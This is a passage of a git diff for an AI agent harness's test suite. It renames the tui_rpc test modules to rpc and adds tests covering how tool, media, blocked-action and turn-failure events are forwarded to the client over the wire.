asyncio.wait_for(serve_task, timeout=2.0) + finally: + client.close() + server_sock.close() diff --git a/tests/test_tui_rpc_session.py b/tests/test_rpc_session.py similarity index 98% rename from tests/test_tui_rpc_session.py rename to tests/test_rpc_session.py index 8d683377..9f836cab 100644 --- a/tests/test_tui_rpc_session.py +++ b/tests/test_rpc_session.py @@ -22,12 +22,11 @@ import pytest from raven.config.loader import load_config -from raven.session.manager import SessionManager -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.errors import TurnInProgressError -from raven.tui_rpc.methods import session as session_module -from raven.tui_rpc.methods import turn as turn_module -from raven.tui_rpc.methods.session import ( +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.errors import TurnInProgressError +from raven.rpc.methods import session as session_module +from raven.rpc.methods import turn as turn_module +from raven.rpc.methods.session import ( register_session_methods, session_branch, session_close, @@ -39,6 +38,7 @@ session_resume, session_title, ) +from raven.session.manager import SessionManager _SESSION_ID_RE = re.compile(r"^tui:\d{8}_\d{6}_[0-9a-f]{6}$") @@ -874,7 +874,7 @@ def test_manager_for_falls_through_when_loop_sessions_not_a_manager( def test_is_turn_active_reflects_active_turns(monkeypatch): import asyncio - from raven.tui_rpc.methods import turn as turn_module + from raven.rpc.methods import turn as turn_module assert turn_module.is_turn_active("tui:none") is False @@ -909,7 +909,7 @@ def __init__(self, mgr): async def test_session_clear_keeps_id_and_wipes(tmp_path): - from raven.tui_rpc.methods.session import session_clear + from raven.rpc.methods.session import session_clear mgr, key = _seed_manager(tmp_path) result = await session_clear({"session_id": key}, agent_loop_factory=lambda: _LoopWithManager(mgr)) @@ -919,7 +919,7 @@ async def test_session_clear_keeps_id_and_wipes(tmp_path): async def test_session_clear_rejects_when_turn_active(tmp_path, monkeypatch): - from raven.tui_rpc.methods.session import session_clear + from raven.rpc.methods.session import session_clear mgr, key = _seed_manager(tmp_path) monkeypatch.setattr(turn_module, "is_turn_active", lambda k: k == key) @@ -928,7 +928,7 @@ async def test_session_clear_rejects_when_turn_active(tmp_path, monkeypatch): async def test_session_undo_drops_last_turn(tmp_path): - from raven.tui_rpc.methods.session import session_undo + from raven.rpc.methods.session import session_undo mgr, key = _seed_manager(tmp_path) result = await session_undo({"session_id": key}, agent_loop_factory=lambda: _LoopWithManager(mgr)) @@ -937,7 +937,7 @@ async def test_session_undo_drops_last_turn(tmp_path): async def test_session_undo_nothing_to_undo_returns_zero(tmp_path): - from raven.tui_rpc.methods.session import session_undo + from raven.rpc.methods.session import session_undo mgr = SessionManager(tmp_path) mgr.get_or_create("tui:empty") @@ -946,7 +946,7 @@ async def test_session_undo_nothing_to_undo_returns_zero(tmp_path): async def test_session_undo_rejects_when_turn_active(tmp_path, monkeypatch): - from raven.tui_rpc.methods.session import session_undo + from raven.rpc.methods.session import session_undo mgr, key = _seed_manager(tmp_path) monkeypatch.setattr(turn_module, "is_turn_active", lambda k: True) @@ -1038,7 +1038,7 @@ async def test_session_branch_unknown_session_returns_no_id(tmp_path: Path, monk def test_session_branch_no_duplicate_registration() -> None: """session.branch is a real handler, removed from the stub table, so registering both groups on one dispatcher does not raise.""" - from raven.tui_rpc.methods._stubs import ( + from raven.rpc.methods._stubs import ( HERMES_ONLY_STUB_METHODS, register_stub_methods, ) @@ -1147,7 +1147,7 @@ async def test_session_info_reports_this_sessions_model_not_the_default(monkeypa """ from unittest.mock import MagicMock - import raven.tui_rpc.methods.session as session_mod + import raven.rpc.methods.session as session_mod # MagicMock so the unrelated skills/tools enumeration in the bundle works; # only ``session_model`` is under test. @@ -1166,7 +1166,7 @@ async def test_session_info_without_a_session_reports_the_default() -> None: """ from unittest.mock import MagicMock - import raven.tui_rpc.methods.session as session_mod + import raven.rpc.methods.session as session_mod config = session_mod.load_config() loop = MagicMock() @@ -1184,8 +1184,8 @@ async def test_session_resume_reports_the_model_the_loop_restored(tmp_path) -> N passing the session key down, so the bundle reports *this* session's model instead of the configured default. """ + from raven.rpc.methods.session import session_resume from raven.session.manager import SessionManager - from raven.tui_rpc.methods.session import session_resume sessions = SessionManager(tmp_path) record = sessions.get_or_create("tui:a") diff --git a/tests/test_tui_rpc_session_init_bundle.py b/tests/test_rpc_session_init_bundle.py similarity index 98% rename from tests/test_tui_rpc_session_init_bundle.py rename to tests/test_rpc_session_init_bundle.py index 8cbb6c7b..d15eac46 100644 --- a/tests/test_tui_rpc_session_init_bundle.py +++ b/tests/test_rpc_session_init_bundle.py @@ -23,8 +23,8 @@ import pytest from raven.config.loader import load_config -from raven.tui_rpc.methods import session as session_module -from raven.tui_rpc.methods.session import _default_session_info +from raven.rpc.methods import session as session_module +from raven.rpc.methods.session import _default_session_info # --------------------------------------------------------------------------- # Fake AgentLoop fixtures (minimal duck-typed handles) @@ -256,7 +256,7 @@ def test_register_session_methods_accepts_factory() -> None: def test_resolve_context_window_helper_removed() -> None: """the stub _resolve_context_window helper has been removed.""" - session_py = Path(__file__).parent.parent / "raven" / "tui_rpc" / "methods" / "session.py" + session_py = Path(__file__).parent.parent / "raven" / "rpc" / "methods" / "session.py" src = session_py.read_text(encoding="utf-8") assert "_resolve_context_window" not in src, ( "_resolve_context_window stub helper should be removed; " @@ -322,7 +322,7 @@ async def test_default_session_info_backward_compat_model_field(fake_agent_loop, def test_placeholder_model_constant_removed() -> None: """_PLACEHOLDER_MODEL constant removed.""" - session_py = Path(__file__).parent.parent / "raven" / "tui_rpc" / "methods" / "session.py" + session_py = Path(__file__).parent.parent / "raven" / "rpc" / "methods" / "session.py" src = session_py.read_text(encoding="utf-8") assert "_PLACEHOLDER_MODEL" not in src assert '"claude-sonnet-4-6"' not in src diff --git a/tests/test_tui_rpc_setup.py b/tests/test_rpc_setup.py similarity index 97% rename from tests/test_tui_rpc_setup.py rename to tests/test_rpc_setup.py index 74f1699e..ef51f859 100644 --- a/tests/test_tui_rpc_setup.py +++ b/tests/test_rpc_setup.py @@ -16,8 +16,8 @@ import pytest -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods.setup import register_setup_methods, setup_status +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods.setup import register_setup_methods, setup_status @pytest.fixture @@ -172,7 +172,7 @@ def test_camel_case_provider_key_is_recognized_as_configured() -> None: and returns None. A configured Azure or Copilot install used to park on the setup panel for exactly this reason. """ - import raven.tui_rpc.methods.setup as setup + import raven.rpc.methods.setup as setup payload = { "agents": {"defaults": {"model": "azure_openai/my-deployment"}}, @@ -187,7 +187,7 @@ def test_minimax_oauth_is_detected_from_either_spelling_of_the_prefix(monkeypatc The check used to compare against hyphenated literals, so a saved "minimax_global/..." matched nothing and a logged-in user read as unconfigured. """ - import raven.tui_rpc.methods.setup as setup + import raven.rpc.methods.setup as setup seen: list[str] = [] monkeypatch.setattr( diff --git a/tests/test_tui_rpc_slash_routing.py b/tests/test_rpc_slash_routing.py similarity index 98% rename from tests/test_tui_rpc_slash_routing.py rename to tests/test_rpc_slash_routing.py index ca07fc1f..6d732a69 100644 --- a/tests/test_tui_rpc_slash_routing.py +++ b/tests/test_rpc_slash_routing.py @@ -1,4 +1,4 @@ -"""Tests for tui_rpc slash routing. +"""Tests for rpc slash routing. Covers four dogfood-discovered failures: @@ -22,9 +22,9 @@ import pytest import typer -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods._stubs import HERMES_ONLY_STUB_METHODS -from raven.tui_rpc.methods.slash_routing import ( +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods._stubs import HERMES_ONLY_STUB_METHODS +from raven.rpc.methods.slash_routing import ( complete_path, complete_slash, register_slash_routing_methods, diff --git a/tests/test_tui_rpc_spine.py b/tests/test_rpc_spine.py similarity index 56% rename from tests/test_tui_rpc_spine.py rename to tests/test_rpc_spine.py index ee82fce6..f616361d 100644 --- a/tests/test_tui_rpc_spine.py +++ b/tests/test_rpc_spine.py @@ -2,9 +2,15 @@ from raven.agent.tools.message import MessageTool from raven.agent.tools.shell import ExecTool +from raven.rpc.spine import ( + TuiOutlet, + TuiTurnRunner, + build_tui, +) from raven.sandbox import ExecResult, SandboxExecutor from raven.spine import ( ChatType, + EpisodeStart, MediaOut, Notice, NoticeKind, @@ -15,6 +21,8 @@ Text, ToolEvent, ToolPhase, + TurnEnded, + TurnFailed, TurnOutcome, TurnRequest, TurnRunner, @@ -22,11 +30,6 @@ ) from raven.spine.delivery import Outlet, SupportsStreaming from raven.spine.message import Media -from raven.tui_rpc.spine import ( - TuiOutlet, - TuiTurnRunner, - build_tui, -) def _src(channel="tui", chat_id="c1") -> Source: @@ -266,12 +269,27 @@ async def test_outlet_deliver_tool_event_to_tool_start_and_complete(): "tui:c1", { "type": "tool.start", - "payload": {"tool_call_id": "t1", "name": "shell", "arguments": {"cmd": "ls"}, "display": None}, + "payload": { + "tool_call_id": "t1", + "name": "shell", + "arguments": {"cmd": "ls"}, + "blocking": False, + "display": None, + }, }, ), ( "tui:c1", - {"type": "tool.complete", "payload": {"tool_call_id": "t1", "result_preview": "ok", "truncated": False}}, + { + "type": "tool.complete", + "payload": { + "tool_call_id": "t1", + "result_preview": "ok", + "truncated": False, + "metadata": None, + "diff": None, + }, + }, ), ] @@ -286,14 +304,174 @@ async def test_outlet_deliver_text_to_token_delta(): assert emitter.emitted == [("tui:c1", {"type": "token.delta", "payload": {"text": "please clarify"}})] -async def test_outlet_deliver_eats_notice_and_media(): +async def test_outlet_deliver_eats_chatty_notices(): + # Progress and tool-hint notices exist for text-only channels that cannot + # draw a tool row. This client draws every call already, so forwarding them + # would narrate the same work twice. emitter = FakeEmitter() outlet = TuiOutlet("tui", emitter) await outlet.deliver(Notice(kind=NoticeKind.PROGRESS, detail="working", conversation_id="tui:c1")) + await outlet.deliver(Notice(kind=NoticeKind.TOOL_HINT, detail="reading", conversation_id="tui:c1")) + assert emitter.emitted == [] # no wire event for these today + + +async def test_outlet_deliver_media_to_a_media_event(): + """A reply's files reach the wire instead of being dropped at this hop. + + They used to be eaten here, which made the loss invisible to every layer + above: a turn that produced a chart answered with text that referred to a + file the client was never told about. + """ + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + await outlet.deliver( + MediaOut( + media=( + Media(path="/tmp/x.png", mime="image/png", kind="image"), + Media(path="/tmp/y.csv", mime="text/csv", kind="file"), + ), + conversation_id="tui:c1", + ) + ) + assert emitter.emitted == [ + ( + "tui:c1", + { + "type": "media", + "payload": { + "items": [ + {"path": "/tmp/x.png", "mime": "image/png", "kind": "image"}, + {"path": "/tmp/y.csv", "mime": "text/csv", "kind": "file"}, + ] + }, + }, + ) + ] + + +async def test_outlet_deliver_media_with_nothing_in_it_emits_nothing(): + """The contract says ``items`` is never empty, so this cannot be forwarded. + + Not a theoretical guard: the emit site builds the tuple from a reply's path + list, and an empty event would still make a client draw an attachment row + with nothing behind it. + """ + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + await outlet.deliver(MediaOut(media=(), conversation_id="tui:c1")) + assert emitter.emitted == [] + + +async def test_outlet_deliver_tool_complete_forwards_the_file_change(): + """The structured change beside the rendered diff. + + A protocol client cannot use the diff string at all -- its diff content block + is ``{path, newText, oldText}`` -- so this field is the only thing that + reaches it, and it is absent rather than null when a call wrote nothing so + that every payload the wire already carried keeps its shape. + """ + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + await outlet.deliver( + ToolEvent( + phase=ToolPhase.COMPLETE, + tool_call_id="t1", + result_preview="ok", + truncated=False, + file_change={"path": "/tmp/a.txt", "after": "new", "before": "old"}, + conversation_id="tui:c1", + ) + ) + assert emitter.emitted[0][1]["payload"]["file_change"] == { + "path": "/tmp/a.txt", + "after": "new", + "before": "old", + } + + emitter.emitted.clear() + await outlet.deliver( + ToolEvent(phase=ToolPhase.COMPLETE, tool_call_id="t2", result_preview="ok", conversation_id="tui:c1") + ) + assert "file_change" not in emitter.emitted[0][1]["payload"] + + +async def test_a_blocked_action_rides_notice_and_never_the_token_stream(): + """The one notice that replaces the answer instead of accompanying it. + + Pushed as ``token.delta`` -- which is how it used to reach the client -- it + lands in the buffer holding the model's own prose, so it renders as the + model's answer: run together with whatever the model narrated just before + it, and wearing the answer's copy and branch actions. + """ + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) await outlet.deliver( - MediaOut(media=(Media(path="/tmp/x.png", mime="image/png", kind="image"),), conversation_id="tui:c1") + Notice( + kind=NoticeKind.ACTION_BLOCKED, + detail="Error: Command blocked by safety guard", + conversation_id="tui:c1", + ) ) - assert emitter.emitted == [] # no wire event for either today + assert emitter.emitted == [ + ( + "tui:c1", + { + "type": "notice", + "payload": {"kind": "action_blocked", "detail": "Error: Command blocked by safety guard"}, + }, + ) + ] + assert not any(ev["type"] == "token.delta" for _, ev in emitter.emitted) + + +async def test_a_blocked_action_with_no_detail_still_reaches_the_client(): + # ``detail`` is the blocking tool's own first line and a tool need not give + # one. The empty string keeps the payload's shape while saying nothing, which + # is what lets a client draw its own sentence for the kind. + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + await outlet.deliver(Notice(kind=NoticeKind.ACTION_BLOCKED, conversation_id="tui:c1")) + assert emitter.emitted[0][1]["payload"] == {"kind": "action_blocked", "detail": ""} + + +async def test_outlet_deliver_tool_start_forwards_blocking(): + """A blocking tool must reach the wire flagged: a client that clocks the + event stream for liveness has to stop that clock, or it declares a call that + is merely waiting on a person dead.""" + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + await outlet.deliver( + ToolEvent( + phase=ToolPhase.START, + tool_call_id="t1", + name="ask_user", + blocking=True, + conversation_id="tui:c1", + ) + ) + assert emitter.emitted[0][1]["payload"]["blocking"] is True + + +async def test_outlet_deliver_tool_complete_forwards_the_diff_and_metadata(): + """The client reads these off tool.complete and prefers them to the guess it + made from the arguments at tool.start, because a whole-file write's previous + content survives nowhere else.""" + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + await outlet.deliver( + ToolEvent( + phase=ToolPhase.COMPLETE, + tool_call_id="t1", + result_preview="ok", + truncated=False, + metadata={"files": 2}, + diff="--- a\n+++ b\n-before\n+after", + conversation_id="tui:c1", + ) + ) + payload = emitter.emitted[0][1]["payload"] + assert payload["diff"] == "--- a\n+++ b\n-before\n+after" + assert payload["metadata"] == {"files": 2} async def test_outlet_emits_token_delta_on_a_chunk(): @@ -380,8 +558,13 @@ async def test_streaming_turn_emits_token_deltas_then_message_complete(): ) scheduler, hub, turn_ids, teardown = build_tui(loop, emitter) try: - turn_ids["tui:c1"] = "t1" # turn.send binds this; emulate here - handle = scheduler.submit(TurnRequest(origin=Origin.USER, source=_src(), text="hi", conversation="tui:c1")) + # turn.send binds the lane slot AND puts the same id on the request; both + # halves are emulated, because the sink now reports the ENDING turn's own + # id and releases the slot only when the two agree. + turn_ids["tui:c1"] = "t1" + handle = scheduler.submit( + TurnRequest(origin=Origin.USER, source=_src(), text="hi", conversation="tui:c1", turn_id="t1") + ) await handle.result() finally: await teardown() @@ -444,7 +627,9 @@ async def test_empty_stream_turn_still_emits_message_complete(): scheduler, hub, turn_ids, teardown = build_tui(_RunTurnLoop(events=[]), emitter) try: turn_ids["tui:c1"] = "t9" - handle = scheduler.submit(TurnRequest(origin=Origin.USER, source=_src(), text="hi", conversation="tui:c1")) + handle = scheduler.submit( + TurnRequest(origin=Origin.USER, source=_src(), text="hi", conversation="tui:c1", turn_id="t9") + ) await handle.result() finally: await teardown() @@ -523,3 +708,174 @@ async def run_turn(self, req, emit, drain, *, stream, inline_tool_stream=False, await teardown() assert emitter.emitted == [] # no error from the sink on cancellation + + +# --- turn identity at the sink: which turn ended, and whose slots to release --- + + +async def test_a_turn_nobody_bound_still_reports_a_populated_turn_id(): + """``MessageCompletePayload.turn_id`` is a required ``str``, yet a turn no + client bound an id for used to complete with ``None`` -- a frame a strict + validator rejects, and the shape that makes a consumer's own-id guard fall + through. The lane mints one, so no turn ends unidentified. + """ + emitter = FakeEmitter() + loop = _RunTurnLoop(events=[Text(content="announce")]) + scheduler, _hub, _turn_ids, teardown = build_tui(loop, emitter) + try: + handle = scheduler.submit( + TurnRequest(origin=Origin.SUBAGENT, source=_src(), text="done", conversation="tui:c1") + ) + await handle.result() + finally: + await teardown() + + completions = [e for _k, e in emitter.emitted if e["type"] == "message.complete"] + assert len(completions) == 1, emitter.emitted + stamped = completions[0]["payload"]["turn_id"] + assert isinstance(stamped, str) and stamped, f"turn_id must always be populated; got {stamped!r}" + + +async def test_the_owning_turns_end_still_releases_its_slots(): + """The ownership gate must not become a leak: the turn that bound the lane's + slots is still the one that frees them, or the -32003 guard never reopens.""" + emitter = FakeEmitter() + loop = _RunTurnLoop(events=[Text(content="done")]) + ended: list[str] = [] + scheduler, _hub, turn_ids, teardown = build_tui(loop, emitter, on_turn_end=ended.append) + try: + turn_ids["tui:c1"] = "u1" + handle = scheduler.submit( + TurnRequest(origin=Origin.USER, source=_src(), text="hi", conversation="tui:c1", turn_id="u1") + ) + await handle.result() + finally: + await teardown() + + assert "tui:c1" not in turn_ids + assert ended == ["tui:c1"] + completions = [e for _k, e in emitter.emitted if e["type"] == "message.complete"] + assert completions[0]["payload"]["turn_id"] == "u1" + + +async def test_a_non_owning_turns_end_does_not_clobber_the_owners_live_usage(): + """``usages`` is keyed by lane, the same key ``turn_ids`` uses -- a turn + cancelled while queued and the turn that actually owns the lane share it. + ``_drop``'s pop is gated by ownership for that reason: ungated, a non-owning + turn's end pops the owner's just-written usage out from under it and the + owner's own message.complete reports it zeroed.""" + from raven.rpc.spine import TuiOutlet, _make_tui_sink + from raven.spine.delivery import DeliveryHub + + hub = DeliveryHub() + emitter = FakeEmitter() + turn_ids = {"tui:c1": "owner"} + usages: dict[str, dict] = {} + outlet = TuiOutlet("tui", emitter) + hub.register(outlet) + sink = _make_tui_sink(hub, outlet, "tui", turn_ids, usages, None) + + rich = {"prompt_tokens": 10, "completion_tokens": 5, "total_tokens": 15} + usages["tui:c1"] = dict(rich) # the owner's runner wrote this before its own TurnEnded fired + + # A different turn on the same lane, cancelled while queued, ends first. + await sink(TurnFailed(error="cancelled", cancelled=True, conversation_id="tui:c1", turn_id="queued-1")) + assert usages.get("tui:c1") == rich, "a non-owning turn's end must not drop the owner's live usage" + + await sink( + TurnEnded( + usage=Usage(prompt_tokens=0, completion_tokens=0, total_tokens=0), + latency_ms=1.0, + explicit_reply=True, + conversation_id="tui:c1", + turn_id="owner", + ) + ) + completions = [e for _k, e in emitter.emitted if e["type"] == "message.complete"] + assert len(completions) == 1 + assert completions[0]["payload"]["usage"] == rich + + +async def test_every_outlet_emission_validates_against_the_wire_contract(): + """Whatever the outlet emits must parse as a declared ``TurnEvent``. + + The schema-match tests compare the two *declarations* to each other; this + compares what the code actually puts on the wire to the declaration. Both + are needed, and only this one catches a field that is missing from BOTH + declarations -- which is symmetric, so no declaration diff shows it, while + the payload models are ``extra="forbid"``, so a validating consumer drops the + entire event rather than the unknown key. + """ + from pydantic import TypeAdapter + + from raven.rpc.models import TurnEvent + + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + events = [ + Reasoning(content="thinking", conversation_id="tui:c1"), + ToolEvent( + phase=ToolPhase.START, + tool_call_id="t1", + name="read_file", + blocking=True, + conversation_id="tui:c1", + ), + ToolEvent( + phase=ToolPhase.COMPLETE, + tool_call_id="t1", + result_preview="ok", + metadata={"k": "v"}, + diff="--- a\n+++ b", + conversation_id="tui:c1", + ), + Text(content="hello", conversation_id="tui:c1"), + Notice(kind=NoticeKind.ACTION_BLOCKED, detail="blocked", conversation_id="tui:c1"), + EpisodeStart(index=0, conversation_id="tui:c1"), + ] + for event in events: + await outlet.deliver(event) + await outlet.send_stream_chunk("tui:c1", "tui:c1", "delta") + await outlet.emit_complete("tui:c1", "turn-1", {"prompt_tokens": 1, "completion_tokens": 2, "total_tokens": 3}) + await outlet.emit_error("tui:c1", -32099, "boom", "internal", "stack") + + adapter = TypeAdapter(TurnEvent) + assert len(emitter.emitted) == len(events) + 3 + for _key, wire in emitter.emitted: + adapter.validate_python(wire) + + +async def test_a_failure_names_the_turn_that_failed(): + """The failure half of the correlation ``message.complete`` already had. A + runtime turn failing on a busy lane reaches the client as an ``error``, and + without an id on it the client cannot tell that failure from the end of the + turn it is watching -- so it clears its own turn's state on somebody else's + failure.""" + from raven.rpc.spine import TuiOutlet, _make_tui_sink + from raven.spine.delivery import DeliveryHub + + hub = DeliveryHub() + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + hub.register(outlet) + # The lane's slot holds the queued client turn, not the one that is failing. + sink = _make_tui_sink(hub, outlet, "tui", {"tui:c1": "client-1"}, {}, None) + + await sink(TurnFailed(error="boom", cancelled=False, conversation_id="tui:c1", turn_id="runtime-1")) + + errors = [e for _k, e in emitter.emitted if e["type"] == "error"] + assert len(errors) == 1 + assert errors[0]["payload"]["turn_id"] == "runtime-1", "the failing turn's own id, not the lane slot's value" + + +async def test_a_failure_with_no_turn_to_name_omits_the_field(): + """Absent rather than blank. A connection-level failure belongs to no turn, + and a cancellation belongs to the turn the client asked about -- an empty + string would be a third state a client has to special-case.""" + emitter = FakeEmitter() + outlet = TuiOutlet("tui", emitter) + + await outlet.emit_error("tui:c1", -32099, "turn_failed", "internal") + await outlet.emit_error("tui:c1", -32099, "turn_failed", "internal", "", turn_id="") + + assert all("turn_id" not in e["payload"] for _k, e in emitter.emitted) diff --git a/tests/test_tui_rpc_stubs.py b/tests/test_rpc_stubs.py similarity index 91% rename from tests/test_tui_rpc_stubs.py rename to tests/test_rpc_stubs.py index 31a22dd2..01562939 100644 --- a/tests/test_tui_rpc_stubs.py +++ b/tests/test_rpc_stubs.py @@ -9,9 +9,9 @@ import pytest -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.errors import NotSupportedInV01Error -from raven.tui_rpc.methods._stubs import ( +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.errors import NotSupportedInV01Error +from raven.rpc.methods._stubs import ( HERMES_ONLY_STUB_METHODS, register_stub_methods, ) @@ -32,14 +32,14 @@ ("tools.configure", "tools configuration via TUI not supported", False), # session.* slash-command stubs. # session.branch promoted to a real handler in methods/session.py - # (session fork) — see test_tui_rpc_session.py::test_session_branch_* + # (session fork) — see test_rpc_session.py::test_session_branch_* ("session.compress", "session.compress not supported", True), ("session.save", "session.save not supported", True), # session.status promoted to real handler in slash_routing.py — - # see test_tui_rpc_slash_routing.py::test_session_status_* + # see test_rpc_slash_routing.py::test_session_status_* ("session.steer", "session.steer not supported", True), # session.title / session.undo promoted to real handlers in methods/session.py - # (parity tests live in test_tui_rpc_session.py) + # (parity tests live in test_rpc_session.py) ("session.usage", "session.usage not supported", True), # skills.reload ("skills.reload", "skills.reload not supported", True), @@ -49,8 +49,8 @@ ("sudo.respond", "sudo.respond not supported", True), ("secret.respond", "secret.respond not supported", True), # NOTE: ``commands.catalog`` was promoted to a real handler in - # ``raven.tui_rpc.methods.commands`` (harness-command-catalog-dynamic); - # its parity test is ``tests/test_tui_rpc_commands_catalog.py``. + # ``raven.rpc.methods.commands`` (harness-command-catalog-dynamic); + # its parity test is ``tests/test_rpc_commands_catalog.py``. # image.attach ("image.attach", "image.attach not supported", True), # prompt.submit / prompt.background (2) @@ -103,7 +103,7 @@ def test_no_per_task_progress_rpc_method() -> None: "progress" RPC method (spawn_tree topology is stub-only). Wiring a real ``task.progress`` / ``spawn_tree.progress`` endpoint later must break here. """ - from raven.tui_rpc.methods import register_aligned_methods + from raven.rpc.methods import register_aligned_methods d = Dispatcher() register_aligned_methods(d) @@ -117,7 +117,7 @@ def test_process_stop_is_not_supported_stub_exact_shape() -> None: per-task stop handler breaks this test.""" assert "process.stop" in HERMES_ONLY_STUB_METHODS - from raven.tui_rpc.methods import register_aligned_methods + from raven.rpc.methods import register_aligned_methods d = Dispatcher() register_aligned_methods(d) diff --git a/tests/test_tui_rpc_system.py b/tests/test_rpc_system.py similarity index 96% rename from tests/test_tui_rpc_system.py rename to tests/test_rpc_system.py index a8660bb8..fbf18fb5 100644 --- a/tests/test_tui_rpc_system.py +++ b/tests/test_rpc_system.py @@ -1,4 +1,4 @@ -"""Tests for tui_rpc system.* handlers, dispatcher, and error mapping. +"""Tests for rpc system.* handlers, dispatcher, and error mapping. Covers: - system.hello / system.ping / system.version handler contracts @@ -16,9 +16,9 @@ import pytest -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.errors import ConfigValidationError -from raven.tui_rpc.methods.system import ( +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.errors import ConfigValidationError +from raven.rpc.methods.system import ( register_system_methods, system_hello, system_ping, diff --git a/tests/test_tui_rpc_terminal.py b/tests/test_rpc_terminal.py similarity index 94% rename from tests/test_tui_rpc_terminal.py rename to tests/test_rpc_terminal.py index 51c33376..1fc3525b 100644 --- a/tests/test_tui_rpc_terminal.py +++ b/tests/test_rpc_terminal.py @@ -9,9 +9,9 @@ import pytest -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods import terminal as terminal_mod -from raven.tui_rpc.methods.terminal import ( +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods import terminal as terminal_mod +from raven.rpc.methods.terminal import ( get_latest_cols, get_latest_rows, register_terminal_methods, diff --git a/tests/test_tui_rpc_tool_events.py b/tests/test_rpc_tool_events.py similarity index 67% rename from tests/test_tui_rpc_tool_events.py rename to tests/test_rpc_tool_events.py index 11ab33be..31c37b3a 100644 --- a/tests/test_tui_rpc_tool_events.py +++ b/tests/test_rpc_tool_events.py @@ -19,7 +19,7 @@ import pytest from raven.agent.loop import AgentLoop -from raven.agent.tools.base import Tool +from raven.agent.tools.base import Tool, ToolResult from raven.agent.tools.message import MessageTool from raven.providers.base import LLMProvider, LLMResponse, ToolCallRequest @@ -220,3 +220,90 @@ async def on_tool_event(phase: str, info: dict) -> None: # turn.py owns the message tool's tool.complete; the general path skips it # to avoid a double-emit. assert events == [], f"message tool must not emit general tool events; got {events}" + + +# --------------------------------------------------------------------------- +# Fidelity at the producer. These fields were declared on the event and read +# with ``info.get`` at the run_turn boundary, so they were reachable only from a +# hand-built dictionary: the real loop never wrote them, and every client saw +# blocking=False, metadata=None, diff=None on every turn. The assertions below +# go through ``_run_agent_loop``, which is the only writer that matters. +# --------------------------------------------------------------------------- + + +class _BlockingTool(_FakeTool): + """A tool that waits on a person. The registry already reads this flag to + skip its timeout; a client that clocks the event stream needs it too.""" + + blocking_interaction = True + + +class _PublishingTool(_FakeTool): + """A tool that publishes the two client-only fields.""" + + async def execute(self, **kwargs: Any) -> ToolResult: + return ToolResult( + model_text="edited", + metadata={"files": ["a.txt"]}, + diff="--- a/a.txt\n+++ b/a.txt\n@@ -1 +1 @@\n-old\n+new\n", + ) + + +async def test_a_blocking_tool_says_so_on_its_start_event(workspace) -> None: + tool = _BlockingTool("ask_user") + agent = _make_agent(workspace, _tool_then_final("ask_user"), tool) + events: list[tuple[str, dict]] = [] + + async def on_tool_event(phase: str, info: dict) -> None: + events.append((phase, info)) + + await agent._run_agent_loop([{"role": "user", "content": "ask"}], on_tool_event=on_tool_event) + + assert events[0][1]["blocking"] is True + + +async def test_a_tool_that_does_not_wait_on_a_person_is_not_blocking(workspace) -> None: + """The other half: the flag has to discriminate, or a client would suspend + its liveness clock for every call and never notice a dead one.""" + tool = _FakeTool("exec") + agent = _make_agent(workspace, _tool_then_final("exec"), tool) + events: list[tuple[str, dict]] = [] + + async def on_tool_event(phase: str, info: dict) -> None: + events.append((phase, info)) + + await agent._run_agent_loop([{"role": "user", "content": "ls"}], on_tool_event=on_tool_event) + + assert events[0][1]["blocking"] is False + + +async def test_metadata_and_diff_reach_the_complete_event(workspace) -> None: + tool = _PublishingTool("edit_file") + agent = _make_agent(workspace, _tool_then_final("edit_file"), tool) + events: list[tuple[str, dict]] = [] + + async def on_tool_event(phase: str, info: dict) -> None: + events.append((phase, info)) + + await agent._run_agent_loop([{"role": "user", "content": "edit"}], on_tool_event=on_tool_event) + + complete = events[1][1] + assert complete["metadata"] == {"files": ["a.txt"]} + assert complete["diff"] is not None and "+new" in complete["diff"] + + +async def test_a_tool_returning_bare_text_publishes_neither_field(workspace) -> None: + """Most tools return a str, which the registry wraps without either field. + The producer reads them off the result, so it must survive their absence.""" + tool = _FakeTool("exec") + agent = _make_agent(workspace, _tool_then_final("exec"), tool) + events: list[tuple[str, dict]] = [] + + async def on_tool_event(phase: str, info: dict) -> None: + events.append((phase, info)) + + await agent._run_agent_loop([{"role": "user", "content": "ls"}], on_tool_event=on_tool_event) + + complete = events[1][1] + assert complete["metadata"] is None + assert complete["diff"] is None diff --git a/tests/test_tui_rpc_turn_cancel.py b/tests/test_rpc_turn_cancel.py similarity index 95% rename from tests/test_tui_rpc_turn_cancel.py rename to tests/test_rpc_turn_cancel.py index 4dda3d35..185645f7 100644 --- a/tests/test_tui_rpc_turn_cancel.py +++ b/tests/test_rpc_turn_cancel.py @@ -7,7 +7,7 @@ These tests drive the handler with a fake Scheduler/handle + a real SubscriptionEmitter; the spine streaming path is covered in -``test_tui_rpc_spine.py``. +``test_rpc_spine.py``. """ from __future__ import annotations @@ -18,14 +18,14 @@ import pytest from pydantic import ValidationError -from raven.tui_rpc.dispatcher import Dispatcher -from raven.tui_rpc.methods.turn import ( +from raven.rpc.dispatcher import Dispatcher +from raven.rpc.methods.turn import ( register_turn_methods, turn_cancel, turn_send, turn_subscribe, ) -from raven.tui_rpc.subscriptions import SubscriptionEmitter +from raven.rpc.subscriptions import SubscriptionEmitter class FakeHandle: @@ -46,7 +46,7 @@ def submit(self, req): @pytest.fixture(autouse=True) def _clear_active_turns(): - from raven.tui_rpc.methods import turn as _turn_mod + from raven.rpc.methods import turn as 